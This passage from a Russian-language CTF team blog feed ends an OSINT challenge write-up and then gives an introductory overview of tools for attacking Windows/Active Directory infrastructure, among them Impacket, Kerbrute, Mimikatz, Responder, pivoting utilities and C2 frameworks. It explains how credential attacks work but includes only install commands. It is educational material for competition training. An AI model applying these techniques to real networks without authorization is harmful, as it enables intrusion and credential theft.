    &lt;img src=&quot;https://img1.teletype.in/files/40/d9/40d9b1d4-fdd8-4991-851e-567c657684b6.png&quot; width=&quot;1936&quot; /&gt;
    &lt;figcaption&gt;series&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;oYiD&quot;&gt;Следующим шагом является поиск &amp;quot;отрицательной&amp;quot; корпорации. Перебрав парочку сериалов, можно достаточно скоро наткнуться на следующее:&lt;/p&gt;
  &lt;figure id=&quot;1i8V&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6e/fc/6efc2d68-b57c-4a32-9979-c85e2444c4a5.png&quot; width=&quot;1312&quot; /&gt;
    &lt;figcaption&gt;mr robot corp&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZM0b&quot;&gt;Немного погуглив, узнаем альтернативное &amp;quot;отрицательное&amp;quot; название корпорации – Evil Corp:&lt;/p&gt;
  &lt;figure id=&quot;ql7C&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ea/69/ea69b234-dc81-4c9b-8b7b-5f4a4550a27d.png&quot; width=&quot;1088&quot; /&gt;
    &lt;figcaption&gt;E corp&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;XxKO&quot;&gt;Далее возвращаемся к нашему списку: виртуальный игровой проект и 2017 год. Начнем с проекта. Составим запрос по ключевым словам и получим список доменных имен:&lt;/p&gt;
  &lt;figure id=&quot;D1uK&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9d/1e/9d1e2fc1-bcde-481f-802f-32ddaad33bad.png&quot; width=&quot;2288&quot; /&gt;
    &lt;figcaption&gt;Domain list&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;7xYW&quot;&gt;Изучив полученные результаты, понимаем, что под описание игрового проекта отлично подходит домен evilcorpgame.com. Следующим шагом найдем нужный IP-адрес: мы знаем, что хост висел на нем в 2017 году.&lt;/p&gt;
  &lt;p id=&quot;djzJ&quot;&gt;Воспользуемся сервисом viewdns.info:&lt;/p&gt;
  &lt;figure id=&quot;VUA1&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d0/39/d039747c-c8d7-4ca4-a724-ae5ee4088ef1.png&quot; width=&quot;3044&quot; /&gt;
    &lt;figcaption&gt;Viewdns&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;RsIB&quot;&gt;Видим список IP-адресов, один из которых как раз датируется 2017 годом. Имея на руках этот адрес, можем установить его геолокацию при помощи, например, maximind.com:&lt;/p&gt;
  &lt;figure id=&quot;xwwI&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/e3/8f/e38fd2db-16be-416b-9546-45ae2b2a0d47.png&quot; width=&quot;1910&quot; /&gt;
    &lt;figcaption&gt;Maximind&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;o7Ol&quot;&gt;Полученные координаты и сдаем в качестве ответа к заданию.&lt;/p&gt;
  &lt;h2 id=&quot;1I33&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;MxGl&quot;&gt;На этой прекрасной ноте заканчивается наша ознакомительная статья. Умение хорошо пользоваться Гуглом может пригодиться как в карьере, так и в учебе или повседневной жизни. Поэтому даже если вы не планируете строить карьеру OSINT-аналитика, имеет смысл выделить время на изучение базовых аспектов этого ремесла – лишним оно точно не будет =)&lt;/p&gt;

</content></entry><entry><id>collapsz:qEBYlsWbBMO</id><link rel="alternate" type="text/html" href="https://teletype.in/@collapsz/qEBYlsWbBMO?utm_source=teletype&amp;utm_medium=feed_atom&amp;utm_campaign=collapsz"></link><title>Базовый инструментарий для атак на инфраструктуру </title><published>2024-09-07T05:20:26.555Z</published><updated>2024-09-23T03:13:38.533Z</updated><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://img3.teletype.in/files/20/62/2062d629-af0d-4230-a707-3f7024fad67c.png"></media:thumbnail><summary type="html">&lt;img src=&quot;https://img3.teletype.in/files/6a/91/6a916fe7-44a9-457e-97ff-615525bbfc9b.png&quot;&gt;@fefuctf @collapsz</summary><content type="html">
  &lt;p id=&quot;jYFY&quot;&gt;@fefuctf @collapsz&lt;/p&gt;
  &lt;hr /&gt;
  &lt;p id=&quot;tuTB&quot; data-align=&quot;center&quot;&gt;&lt;em&gt;Инфра тема, гораздо интереснее вэбчика&lt;br /&gt;@cherepawwka&lt;/em&gt;&lt;/p&gt;
  &lt;hr /&gt;
  &lt;h2 id=&quot;fhOO&quot;&gt;Вступление&lt;/h2&gt;
  &lt;p id=&quot;vKAI&quot;&gt;Всем привет! Вы не забыли и не дали мне слиться, а потому представляю вашему вниманию чтиво по базовому инструментарию для атак на инфраструктуру=) Сразу условлюсь, что данный материал направлен на тех, кому предстоит столкнуться с инфрой впервые, если же вам уже доводилось её ломать, многое из описанного будет вам уже знакомо. Приятного прочтения!&lt;/p&gt;
  &lt;p id=&quot;1wtx&quot;&gt;Начнем с утилит для проведения самого первого этапа – разведки.&lt;/p&gt;
  &lt;h2 id=&quot;nmap&quot;&gt;NMAP&lt;/h2&gt;
  &lt;p id=&quot;rxmD&quot;&gt;В представлении не нуждается. Официальный сайт – &lt;a href=&quot;http://nmap.org/&quot; target=&quot;_blank&quot;&gt;nmap.org&lt;/a&gt;. Классический сканер, имеющий огромное количество техник сканирования, скриптов и модулей. Поиск хостов в подсети, сканирование сервисов и их версий, определение версии OS, брутфорс учетных записей и еще многое-многое другое – это то, что может предоставить &lt;strong&gt;nmap&lt;/strong&gt;. &lt;/p&gt;
  &lt;figure id=&quot;aNvt&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/6a/91/6a916fe7-44a9-457e-97ff-615525bbfc9b.png&quot; width=&quot;1430&quot; /&gt;
    &lt;figcaption&gt;nmap -h&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;yzjp&quot;&gt;Rustscan&lt;/h2&gt;
  &lt;p id=&quot;0QDI&quot;&gt;Одна из лучших альтернатив для nmap – &lt;a href=&quot;https://github.com/RustScan/RustScan&quot; target=&quot;_blank&quot;&gt;&lt;u&gt;Rustscan. &lt;/u&gt;&lt;/a&gt;Сверхбыстрый сканер портов, написанный на Rust. Сканирует все 65к портов за считанные секунды, легко устанавливается и поддерживает скрипты nmap&amp;#x27;а&lt;/p&gt;
  &lt;figure id=&quot;jgcx&quot; class=&quot;m_retina&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/f3/3a/f33a0ee5-4dde-4590-a4df-3d8858c848e3.png&quot; width=&quot;485&quot; /&gt;
    &lt;figcaption&gt;rustscan&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;laUL&quot;&gt;Почта&lt;/h2&gt;
  &lt;p id=&quot;FBFW&quot;&gt;На этапе разведки бывает важно собрать все почтовые адреса, расположенные в зоне скоупа. Можно пользоваться автоматизированными утилитами, например, theHarvester, однако в контексте студенческой битвы будет достаточно  внимательно изучить ресурс и найти на нем 2-3 почтовых ящика. &lt;/p&gt;
  &lt;h2 id=&quot;MXge&quot;&gt;Metasploit Framework &lt;/h2&gt;
  &lt;p id=&quot;y2zy&quot;&gt;MSF – мощнейшая утилита для создания и отладки эксплоитов, предустановленная в Kali Linux.&lt;/p&gt;
  &lt;figure id=&quot;w3o5&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/8f/4c/8f4c9059-19b2-4c4d-9c3b-e11672c3389e.png&quot; width=&quot;1334&quot; /&gt;
    &lt;figcaption&gt;mfsconsole&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GBfG&quot;&gt;Основные компоненты: &lt;/p&gt;
  &lt;ol id=&quot;pWeN&quot;&gt;
    &lt;li id=&quot;R1DQ&quot;&gt;Metasploit Framework&lt;strong&gt;:&lt;/strong&gt; Основной компонент, предоставляющий структуру и инструменты для проведения атак.&lt;/li&gt;
    &lt;li id=&quot;Sg1t&quot;&gt;Metasploit Database&lt;strong&gt;:&lt;/strong&gt; Содержит информацию об уязвимостях, эксплойтах, модулях и целевых системах.&lt;/li&gt;
    &lt;li id=&quot;27SS&quot;&gt;Metasploit Console&lt;strong&gt;:&lt;/strong&gt; Интерактивный интерфейс для управления фреймворком и выполнения задач.&lt;/li&gt;
    &lt;li id=&quot;i49I&quot;&gt;Metasploit Modules&lt;strong&gt;:&lt;/strong&gt; Разнообразные модули, разделенные на категории: exploits, payloads, auxiliary, post-exploitation, encoders.&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;ebtC&quot;&gt;Поддерживает создание полезной нагрузки для получения более функционального reverse-shell соединения, умеет эксплуатировать некоторые уязвимости в автоматическом режиме, умеет готовить эксплоиты для запуска на атакуемой машине и еще многое, многое другое! Функционал фреймворка настолько обширен, что он просто-напросто обязателен к изучению. &lt;/p&gt;
  &lt;h2 id=&quot;gFCB&quot;&gt;Impacket&lt;/h2&gt;
  &lt;p id=&quot;pMH5&quot;&gt;&lt;strong&gt;Python Impacket&lt;/strong&gt; – набор классов для работы с сетевыми протоколами&lt;/p&gt;
  &lt;figure id=&quot;PkOu&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c3/e2/c3e2755a-e0cf-40b3-92bc-418ad3171ff3.png&quot; width=&quot;3128&quot; /&gt;
    &lt;figcaption&gt;Python-Impacket&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;mYHs&quot;&gt;Установка: &lt;/p&gt;
  &lt;pre id=&quot;c2YK&quot;&gt;sudo apt install python3-impacket&lt;/pre&gt;
  &lt;p id=&quot;yC7K&quot;&gt;&lt;strong&gt;Impacket&lt;/strong&gt; это мощный инструмент для тестирования на проникновение, предоставляющий широкие возможности для взаимодействия с сетевыми протоколами и службами. В потенциальные возможности &lt;strong&gt;Impacket&lt;/strong&gt; входят: &lt;/p&gt;
  &lt;ol id=&quot;yyyY&quot;&gt;
    &lt;li id=&quot;xdoV&quot;&gt;Сканирование и перечисление&lt;/li&gt;
    &lt;li id=&quot;PTMB&quot;&gt;Эксплуатация уязвимостей&lt;/li&gt;
    &lt;li id=&quot;G6Zh&quot;&gt;Пост-эксплуатация&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;99SJ&quot;&gt;Из всех функций импакета могу выделить следующие наиболее используемые модули: &lt;/p&gt;
  &lt;ol id=&quot;G7TN&quot;&gt;
    &lt;li id=&quot;mwL4&quot;&gt;&lt;code&gt;impacket-GetUserSPNs&lt;/code&gt; – позволяет запросить Service Ticket для учетной записи, обладающей SPN (service principal name) и взломать его с целью получения пароля. Данная атака называется &lt;em&gt;&lt;strong&gt;Kerberoasting&lt;/strong&gt;&lt;/em&gt;&lt;/li&gt;
    &lt;li id=&quot;lKUa&quot;&gt;&lt;code&gt;impacket-GetNPUsers&lt;/code&gt; – позволяет запросить доменных пользователей с отключенной преаутентификацией и запросить TGT на их имя без пароля, после чего можно попытаться взломать сессионный ключ, отправленный с тикетом и получить пароль пользователя. Данная атака называется &lt;strong&gt;&lt;em&gt;AS-REP-Roasting&lt;/em&gt;&lt;/strong&gt;&lt;/li&gt;
    &lt;li id=&quot;wI98&quot;&gt;&lt;code&gt;impacket-psexec&lt;/code&gt; – позволяет запускать процессы на удаленных системах &lt;/li&gt;
    &lt;li id=&quot;cnmO&quot;&gt;&lt;code&gt;impacket-smbclient&lt;/code&gt; – позволяет взимодействовать с SMB сервером&lt;/li&gt;
    &lt;li id=&quot;ihWX&quot;&gt;&lt;code&gt;impacket-getTGT&lt;/code&gt; – позволяет запросить TGT тикет, имея на руках Kerberos ключ или NTLM хеш&lt;/li&gt;
    &lt;li id=&quot;2zxZ&quot;&gt;&lt;code&gt;impacket-getST&lt;/code&gt; – позволяет запросить service ticket&lt;/li&gt;
    &lt;li id=&quot;Cw9T&quot;&gt;&lt;code&gt;impacket-wmiexec&lt;/code&gt; – позволяет подключиться к системе и получить интерактивный шелл при помощи WMI (Windows Management Instrumentation)&lt;/li&gt;
  &lt;/ol&gt;
  &lt;p id=&quot;knaB&quot;&gt;Функционал, опять же, настолько обширен, что чтобы набить руку на эту утилиту уйдет достаточно много времени. &lt;/p&gt;
  &lt;h2 id=&quot;XN1e&quot;&gt; Kerbrute&lt;/h2&gt;
  &lt;p id=&quot;gvTV&quot;&gt;Следующий на очереди инструмент – &lt;a href=&quot;https://github.com/ropnop/kerbrute&quot; target=&quot;_blank&quot;&gt;Kerbrute. &lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;R7j7&quot;&gt;Утилита для быстрого и точного перечисления и брутфорса учетных записей Active Directory, использующая механизм преаутентификации Kerberos.&lt;/p&gt;
  &lt;p id=&quot;eHxf&quot;&gt;Установка:&lt;/p&gt;
  &lt;pre id=&quot;jWYL&quot;&gt;go get github.com/ropnop/kerbrute&lt;/pre&gt;
  &lt;p id=&quot;Er3m&quot;&gt;Поддерживает атаки: bruteuser, passwordspray, userenum, bruteforce. Особо ничего и не добавишь =) &lt;/p&gt;
  &lt;figure id=&quot;wptW&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/c1/44/c144bbcf-f1b2-4dd5-beac-736c245d48ce.png&quot; width=&quot;2000&quot; /&gt;
    &lt;figcaption&gt;Kerbrute&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;h2 id=&quot;k6HM&quot;&gt;Crackmapexec&lt;/h2&gt;
  &lt;p id=&quot;Hapw&quot;&gt;Следующий клиент – &lt;a href=&quot;https://github.com/byt3bl33d3r/CrackMapExec&quot; target=&quot;_blank&quot;&gt;crakmapexec.&lt;/a&gt; &lt;/p&gt;
  &lt;p id=&quot;tXvN&quot;&gt;Утилита так же служит для перечисления и брутфорса учетных записей, но в данном случае работает со следующими протоколами: smb, mssql, win-rm, ldap, rdp, smb, ssh, ftp. &lt;/p&gt;
  &lt;figure id=&quot;O9fZ&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/ca/d6/cad6acb8-e414-4269-abcb-94db4007cba8.png&quot; width=&quot;1066&quot; /&gt;
    &lt;figcaption&gt;crackmap&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;0GT2&quot;&gt;В Kali Linux предустановлена. &lt;/p&gt;
  &lt;h2 id=&quot;kBqR&quot;&gt;NetExec&lt;/h2&gt;
  &lt;p id=&quot;XeOx&quot;&gt;Еще одно Open-Source решение, следующее поколение crackmapexec – &lt;a href=&quot;https://www.netexec.wiki&quot; target=&quot;_blank&quot;&gt;NetExec&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;V7vH&quot;&gt;&lt;/p&gt;
  &lt;figure id=&quot;BWXa&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/9f/e2/9fe24829-c446-41de-853b-e4e694c1b690.png&quot; width=&quot;2304&quot; /&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;U0qR&quot;&gt;Установка:&lt;/p&gt;
  &lt;pre id=&quot;mgTk&quot;&gt;sudo apt install pipx git
pipx ensurepath
pipx install git+https://github.com/Pennyw0rth/NetExec&lt;/pre&gt;
  &lt;p id=&quot;MuQb&quot;&gt;Утилита поддерживает работу по бОльшему количеству протоколов, поддерживает password spray, user enumeration, command execution, authorization и ряд других функций&lt;/p&gt;
  &lt;h2 id=&quot;toq5&quot;&gt;ADGenerator &lt;/h2&gt;
  &lt;p id=&quot;9QFs&quot;&gt;Прежде чем двинемся дальше, представьте, что вы точно знаете имя сотрудника организации, но понятия не имеете, какое имя у его учетной записи. Как быть в таком случае? Как проводить атаки на учетку, имя которой неизвестно? Здесь нас спасает незамысловатый скрипт – &lt;a href=&quot;https://github.com/w0Tx/generate-ad-username&quot; target=&quot;_blank&quot;&gt;ADGenerator.&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;NSsz&quot;&gt;Он принимает на вход список имен, из которых генерирует список учетных записей, пригодных для перечисления при помощи &lt;em&gt;kerbrute&lt;/em&gt;, &lt;em&gt;crackmapexec&lt;/em&gt; или &lt;em&gt;netexec и тд&lt;/em&gt;&lt;/p&gt;
  &lt;h2 id=&quot;y1nI&quot;&gt;Bloodhound Python&lt;/h2&gt;
  &lt;p id=&quot;ZgS2&quot;&gt;Базирующийся на Импакете харвестер домена – &lt;a href=&quot;https://github.com/dirkjanm/BloodHound.py&quot; target=&quot;_blank&quot;&gt;Bloodhound&lt;/a&gt; &lt;/p&gt;
  &lt;p id=&quot;4Ejx&quot;&gt;Установка:&lt;/p&gt;
  &lt;p id=&quot;GF5T&quot;&gt;&lt;code&gt;pip install bloodhound&lt;/code&gt;&lt;/p&gt;
  &lt;p id=&quot;Y5en&quot;&gt;Для чего нужен данный инструмент? Представим, что вы нашли первую валидную пару учетных данных и получили доступ в домен, что дальше? Bloodhound позволяет вам сдампить всю информацию о строении домена – учетные записи, группы, администраторы, политики, взаимосвязи между ними, и представить это в виде графа: &lt;/p&gt;
  &lt;figure id=&quot;QLWk&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img4.teletype.in/files/75/3a/753aa1ef-c07d-4ee8-b7fd-8d9b460b0eb6.png&quot; width=&quot;3230&quot; /&gt;
    &lt;figcaption&gt;bloodhound&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;ZRXR&quot;&gt;Это мощнейший инструмент для анализа строения атакуемого домена, который так же нередко может помочь с поиском вектора повышения привилегий. &lt;/p&gt;
  &lt;h2 id=&quot;9m6q&quot;&gt;Mimikatz &lt;/h2&gt;
  &lt;p id=&quot;FAkQ&quot;&gt;&lt;a href=&quot;https://github.com/ParrotSec/mimikatz&quot; target=&quot;_blank&quot;&gt;Mimikatz&lt;/a&gt; – утилита для извлечения критических данных (паролей, хешей, учетных записей, токенов доступа и других секретов) из памяти системы. Есть альтернатива, написанная на Python – &lt;a href=&quot;https://github.com/skelsec/pypykatz&quot; target=&quot;_blank&quot;&gt;pypykatz&lt;/a&gt;&lt;/p&gt;
  &lt;figure id=&quot;gann&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img1.teletype.in/files/82/1a/821ab49f-8d9d-4cec-bdf0-aebd3f010052.png&quot; width=&quot;1600&quot; /&gt;
    &lt;figcaption&gt;mimikatz&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;vdDC&quot;&gt;Mimikatz работает, используя уязвимости в API Windows, чтобы получить доступ к данным, хранящимся в памяти. Методы, используемые mimikatz: Pass-the-Hash, Pass-the-Ticket, Pass-the-Key, Kerberos golden/silver Ticket, Pass-the-Cache.&lt;/p&gt;
  &lt;p id=&quot;ws65&quot;&gt;Учтите, что для полноценной работы mimikatz его &lt;strong&gt;необходимо запускать с правами администратора&lt;/strong&gt;!&lt;/p&gt;
  &lt;h2 id=&quot;XcxE&quot;&gt;John The Ripper &amp;amp;&amp;amp; Hashcat &lt;/h2&gt;
  &lt;figure id=&quot;vS4W&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/d2/0c/d20c933a-ce01-4647-b6e8-41b637b0b6c7.png&quot; width=&quot;821&quot; /&gt;
    &lt;figcaption&gt;John&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;GYBt&quot;&gt;Думаю, эти двое в представлении тоже не нуждаются. Это утилиты для брутфорса различных хешей: первая работает на процессоре, вторая – на видеокарте. В Kali Linux предустановлены. &lt;/p&gt;
  &lt;p id=&quot;0aXO&quot;&gt;Как правило, John используется для взлома более простых хешей, hashcat – для более сложных&lt;/p&gt;
  &lt;h2 id=&quot;dISO&quot;&gt;Responder&lt;/h2&gt;
  &lt;p id=&quot;DpOK&quot;&gt;&lt;a href=&quot;https://cyberarms.wordpress.com/2018/01/12/easy-creds-with-responder-and-kali-linux/&quot; target=&quot;_blank&quot;&gt;Responder&lt;/a&gt; - это инструмент для тестирования на проникновение, который  используется для перехвата сетевого трафика, сбора учетных данных и как часть цепочки в атаке ntlm-relay.&lt;/p&gt;
  &lt;figure id=&quot;v10S&quot; class=&quot;m_original&quot;&gt;
    &lt;img src=&quot;https://img3.teletype.in/files/ab/21/ab2110d5-0414-42a8-b398-50dae481ff9c.png&quot; width=&quot;225&quot; /&gt;
    &lt;figcaption&gt;Responder&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;BnOR&quot;&gt;&lt;strong&gt;Как работает Responder:&lt;/strong&gt;&lt;/p&gt;
  &lt;p id=&quot;WsNR&quot;&gt;1. &lt;strong&gt;Запуск Responder:&lt;/strong&gt; Вы запускаете Responder на машине, которая находится между атакуемой системой и сервером, к которому эта система обращается.&lt;/p&gt;
  &lt;p id=&quot;51om&quot;&gt;2. &lt;strong&gt;Перехват трафика:&lt;/strong&gt; Responder перехватывает сетевой трафик, в том числе запросы аутентификации NTLM (NT LAN Manager).&lt;/p&gt;
  &lt;p id=&quot;8Lkc&quot;&gt;3. &lt;strong&gt;Создание ответов:&lt;/strong&gt; Когда Responder перехватывает запрос аутентификации NTLM, он создает ложный ответ, имитируя ответ сервера.&lt;/p&gt;
  &lt;p id=&quot;xL8w&quot;&gt;4. &lt;strong&gt;Сбор учетных данных:&lt;/strong&gt; Ложный ответ содержит поддельные данные, которые позволяют Responder собрать учетные данные пользователя, в том числе имя пользователя, пароль и хэш NTLM.&lt;/p&gt;
  &lt;p id=&quot;Lt1N&quot;&gt;5. &lt;strong&gt;Атаки типа &amp;quot;Pass-the-Hash&amp;quot;:&lt;/strong&gt; Responder может использовать украденные хэши NTLM для атак типа &amp;quot;Pass-the-Hash&amp;quot;. Он может имитировать ответ сервера, используя украденный хэш, чтобы получить доступ к другим ресурсам сети от имени пользователя.&lt;/p&gt;
  &lt;p id=&quot;QpB5&quot;&gt;Responder не самая простая в использовании утилита и требует практики.&lt;/p&gt;
  &lt;h2 id=&quot;lHxH&quot;&gt;Эскалация привилегий&lt;/h2&gt;
  &lt;p id=&quot;2VOJ&quot;&gt;В контексте инфраструктуры существует огромное количество способов повышения привилегий, останавливаться на них мы сейчас не будем, но приведу пару утилит, которые могут помочь в поиске вектора эскалации:&lt;/p&gt;
  &lt;ol id=&quot;nUre&quot;&gt;
    &lt;li id=&quot;6pn1&quot;&gt;&lt;a href=&quot;https://github.com/peass-ng/PEASS-ng/blob/master/winPEAS/winPEASexe/README.md&quot; target=&quot;_blank&quot;&gt;WinPEAS&lt;/a&gt; – Windows Privilege Escalation Amazing Scripts&lt;/li&gt;
    &lt;li id=&quot;I3Sn&quot;&gt;&lt;a href=&quot;https://github.com/AlessandroZ/LaZagne&quot; target=&quot;_blank&quot;&gt;LaZagne&lt;/a&gt; – харвестер данных с машины &lt;/li&gt;
    &lt;li id=&quot;k3N8&quot;&gt;&lt;a href=&quot;https://github.com/PowerShellMafia/PowerSploit/blob/master/Recon/PowerView.ps1&quot; target=&quot;_blank&quot;&gt;PowerView&lt;/a&gt; – набор скриптов для перечисления домена&lt;/li&gt;
  &lt;/ol&gt;
  &lt;h2 id=&quot;I235&quot;&gt;Pivoting&lt;/h2&gt;
  &lt;p id=&quot;Okb3&quot;&gt;Пивотинг – техника получения доступа к локальным ресурсам домена, которые не доступны извне. Используя техники пивотинга атакующий как бы делает вид, что находится в одной локальной сети организации. Говоря более техническим языком, техники пивотинга позволяют сделать маршрутизируемым тот трафик, который по умолчанию таковым не является. &lt;/p&gt;
  &lt;figure id=&quot;Df10&quot; class=&quot;m_column&quot;&gt;
    &lt;img src=&quot;https://img2.teletype.in/files/da/af/daaf31cb-d21e-42cf-85bd-16c9d5fffd17.png&quot; width=&quot;800&quot; /&gt;
    &lt;figcaption&gt;Pivoting&lt;/figcaption&gt;
  &lt;/figure&gt;
  &lt;p id=&quot;3L0w&quot;&gt;Для пивотинга существует целый ряд утилит, вот некоторые из них: &lt;/p&gt;
  &lt;h3 id=&quot;X0w4&quot;&gt;&lt;a href=&quot;https://github.com/3ndG4me/socat&quot; target=&quot;_blank&quot;&gt;Socat&lt;/a&gt;&lt;/h3&gt;
  &lt;p id=&quot;1OoX&quot;&gt;Утилита, позволяющая переадресовывать сокеты с хостовой машины на клиентскую&lt;/p&gt;
  &lt;h3 id=&quot;3De8&quot;&gt;&lt;a href=&quot;https://github.com/jpillora/chisel&quot; target=&quot;_blank&quot;&gt;Chisel&lt;/a&gt;&lt;/h3&gt;
  &lt;p id=&quot;Y8Os&quot;&gt;В простонародье &amp;quot;числа&amp;quot; – утилита для &lt;em&gt;port forwarding&lt;/em&gt;. Представим, что вы скомпроментировали хост, на котором обнаружили локально поднятое веб-приложение, недоступное извне. &amp;quot;Числа&amp;quot; имеют два режима работы – клиент и сервер, которые устанавливают между собой соединение и позволяют запускать локальное веб-приложение с &lt;strong&gt;&lt;em&gt;атакуемой&lt;/em&gt;&lt;/strong&gt; машины через localhost &lt;strong&gt;&lt;em&gt;атакующей&lt;/em&gt;&lt;/strong&gt; машины. &lt;/p&gt;
  &lt;h3 id=&quot;DAhY&quot;&gt;&lt;a href=&quot;https://github.com/sshuttle/sshuttle&quot; target=&quot;_blank&quot;&gt;Sshuttle&lt;/a&gt;&lt;/h3&gt;
  &lt;p id=&quot;O7uj&quot;&gt;Open-sourсe прокси для туннелирования трафика. &lt;/p&gt;
  &lt;h3 id=&quot;4nxF&quot;&gt;&lt;a href=&quot;https://github.com/sysdream/ligolo&quot; target=&quot;_blank&quot;&gt;Ligolo&lt;/a&gt;&lt;/h3&gt;
  &lt;p id=&quot;naao&quot;&gt;Одна из лучших утилит для пивотинга, полюбившаяся многим пентестерам&lt;/p&gt;
  &lt;p id=&quot;zU0w&quot;&gt;&lt;/p&gt;
  &lt;h2 id=&quot;BvJW&quot;&gt;С2 Frameworks&lt;/h2&gt;
  &lt;p id=&quot;Pw6j&quot;&gt;После получения доступа и закрепления в системе, желательно пустить корни еще глубже, чтобы, например, случайное падение сервера или отлетевшая сессия не стали поводом повторять всю атаку заново. Для этого используются Command &amp;amp; Control (C2) фреймворки. Вариантов таких фреймворков уйма – Cobalt Strike, Sliver, Empire и другие, большой список С2 можно найти &lt;a href=&quot;https://github.com/tcostam/awesome-command-control&quot; target=&quot;_blank&quot;&gt;здесь&lt;/a&gt;&lt;/p&gt;
  &lt;p id=&quot;0Xwt&quot;&gt;Так же эти фреймворки содержат весь необходимый набор утилит для дальнейшего продвижения в инфраструктуре. &lt;/p&gt;
  &lt;p id=&quot;mhPN&quot;&gt;Лично мне на данном этапе довелось поработать со &lt;a href=&quot;https://github.com/BishopFox/sliver&quot; target=&quot;_blank&quot;&gt;sliver&lt;/a&gt; и &lt;a href=&quot;https://github.com/BC-SECURITY/Empire&quot; target=&quot;_blank&quot;&gt;empire&lt;/a&gt; – очень крутые бесплатные C2 фреймворки, однако учтите, что работа с С2 &lt;strong&gt;впервые&lt;/strong&gt; требует практики! &lt;/p&gt;
  &lt;h2 id=&quot;DJQs&quot;&gt;Заключение&lt;/h2&gt;
  &lt;p id=&quot;vXJh&quot;&gt;В данном материале охвачен лишь самый базовый набор инструментов, используемый при работе с инфраструктурой, однако этого набора достаточно, чтобы найти подход и познакомиться с атаками на нее. &lt;/p&gt;
  &lt;p id=&quot;QOUk&quot;&gt;Keep researching! &lt;/p&gt;

</content></entry></feed>